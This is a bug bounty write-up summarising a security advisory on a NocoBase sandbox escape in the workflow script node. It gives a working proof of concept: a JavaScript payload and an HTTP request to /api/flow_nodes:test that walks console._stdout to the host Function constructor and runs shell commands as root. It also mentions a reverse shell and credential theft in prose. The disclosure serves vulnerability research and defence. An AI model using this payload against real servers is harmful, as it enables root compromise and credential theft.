# NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

NocoBase workflow script node's vm sandbox leaked host console._stdout, letting authenticated users reach host Function constructor and run commands as root.

- Payout: Research
- Severity: critical
- Program: NocoBase
- Found by: onurcangnc
- Disclosed: 2026-03-30
- CVE: CVE-2026-34156
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-px3p-vgh9-m57c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-px3p-vgh9-m57c
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:auth-bypass vuln:rce vuln:sandbox-escape

**Target:** Workflow Script Node JS sandbox / POST /api/flow_nodes:test
**Root cause:** The host-realm console object (with WritableWorkerStdio streams) was passed into the vm sandbox context, exposing host constructors reachable via prototype chain traversal, bypassing the customRequire allowlist.
**Steps:**
1. Authenticate and obtain a JWT.
2. POST /api/flow_nodes:test with type=script and content `const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();`
3. Observe response result `uid=0(root) gid=0(root) groups=0(root)` confirming RCE.
**How found:** Noticed the console object injected into the sandbox exposed host-realm stream objects (_stdout/_stderr), then hypothesized prototype chain traversal could reach the host Function constructor and bypass the require allowlist.
**Exploitation:** Authenticated attacker submits a script node test request; the sandboxed code walks console._stdout.constructor.constructor to the host Function constructor, obtains process via Function('return process')(), loads child_process through process.mainModule.require, and executes arbitrary commands as root. Confirmed reverse shell, env credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD), fs read/write, and outbound network for lateral movement.
**Escalation:** From sandbox escape to root RCE, then credential theft and reverse shell enabling lateral movement.
**Insight:** When auditing Node vm-based sandboxes, enumerate every host object passed into the context (console, timers, buffers) and check whether any exposes a host-realm constructor via .constructor.constructor; also test Error.prepareStackTrace/CallSite.getThis() as alternate escapes.

## Proof of concept (copied exactly from the original report)

**HTTP request executing sandbox escape payload**

```
POST /api/flow_nodes:test
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json

{
  "type": "script",
  "config": {
    "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
    "timeout": 5000,
    "arguments": []
  }
}
```

